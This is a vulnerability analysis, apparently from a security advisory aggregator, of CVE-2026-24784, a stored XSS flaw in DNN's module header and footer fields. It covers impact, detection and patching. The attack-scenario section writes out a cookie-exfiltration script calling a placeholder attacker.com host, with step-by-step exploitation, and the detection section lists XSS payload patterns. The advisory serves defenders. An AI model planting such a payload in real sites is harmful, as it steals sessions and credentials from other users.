CVE-2026-24784: 
C# vulnerability analysis and mitigation

CVE-2026-24784 is a stored Cross-Site Scripting (XSS) vulnerability in DNN (formerly DotNetNuke), an open-source web content management platform in the Microsoft ecosystem. A content editor with high privileges can inject malicious scripts into module headers or footers that execute in the browsers of other users visiting those modules. The vulnerability affects DNN versions 9.0.0 through 9.13.9 and 10.0.0 through 10.1.x. It was published on January 27–28, 2026, with fixes available in versions 9.13.10 and 10.2.0. The CVSS v3.1 base score is 4.8 (Medium) per NVD, though the GitHub Advisory Database rates it as Moderate with a score of 6.9 (GitHub Advisory, DNN Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. DNN fails to properly sanitize or neutralize user-supplied input in module header and footer fields before rendering them in web pages served to other users. An attacker with content editor privileges can insert arbitrary JavaScript into these fields, which is then persistently stored and executed in the browsers of any user who views the affected module — including administrators. No public proof-of-concept exploit code has been identified at this time (GitHub Advisory, DNN Advisory).

Successful exploitation allows a high-privileged content editor to execute arbitrary JavaScript in the browsers of other authenticated users, including administrators. This can lead to theft of session tokens, authentication cookies, and administrative credentials, potentially enabling full account takeover and privilege escalation. Because the injected script is stored server-side and executes for all users accessing the affected module, the blast radius extends across the entire multi-user DNN environment. Availability is not directly impacted, but confidentiality and integrity of user sessions and data are at risk (GitHub Advisory).

There is no known public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The vulnerability requires the attacker to already hold high-privileged content editor access to the DNN instance, and victim user interaction (visiting the affected module) is required for the payload to execute. The EPSS score is approximately 0.054% (17th percentile), indicating a low near-term exploitation probability. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection signatures are available via Nessus (ID: 297830) and Qualys (ID: 530990) (GitHub Advisory, DNN Advisory).

1. Gain Editor Access: Obtain or compromise a DNN account with content editor privileges (high-privilege role required).
2. Navigate to Module Settings: Log into the DNN admin/editor interface and navigate to the settings of a target module that is visible to other users or administrators.
3. Inject Malicious Script: In the module's Header or Footer field, insert a JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie;</script> or a more sophisticated keylogger/credential harvester.
4. Save the Configuration: Save the module settings, causing the malicious script to be persistently stored in the DNN database.
5. Wait for Victim Interaction: When other users (including administrators) visit any page containing the compromised module, their browsers automatically execute the injected script.
6. Harvest Credentials/Tokens: Collect exfiltrated session cookies or credentials from the attacker-controlled server, then use them to hijack victim sessions or escalate privileges (GitHub Advisory).

• Logs: DNN audit logs showing unexpected modifications to module header/footer fields by content editor accounts; CMS change logs with unusual HTML or <script> tag content in module settings.
• Network: Outbound HTTP/HTTPS requests from user browsers to unknown external domains immediately after loading DNN pages containing modules; unusual GET requests to attacker-controlled URLs with encoded cookie or credential parameters.
• File System / Database: Database records in DNN module settings tables containing <script>, javascript:, onerror=, or other XSS payload patterns in header/footer columns.
• Process/Browser: Browser developer console errors or unexpected redirects when loading DNN pages; Content Security Policy (CSP) violation reports if CSP is configured.

Organizations should upgrade DNN to version 9.13.10 (for the 9.x branch) or 10.2.0 (for the 10.x branch) to remediate this vulnerability (GitHub Advisory, DNN Advisory). Until patching is complete, restrict content editor privileges to only fully trusted users and implement strict role-based access controls. As an additional defense-in-depth measure, implement Content Security Policy (CSP) headers to limit script execution from unauthorized sources, and regularly audit module headers and footers for suspicious script content.

The vulnerability was published by researcher valadas and credited to bdukes via the DNN Platform GitHub security advisory on January 27, 2026. Coverage has appeared on several CVE tracking and security news aggregators including infinitsec.net and ctrlaltnod.com, reflecting routine community awareness of the issue. No major vendor statements beyond the official GitHub advisory or significant social media discussion have been identified.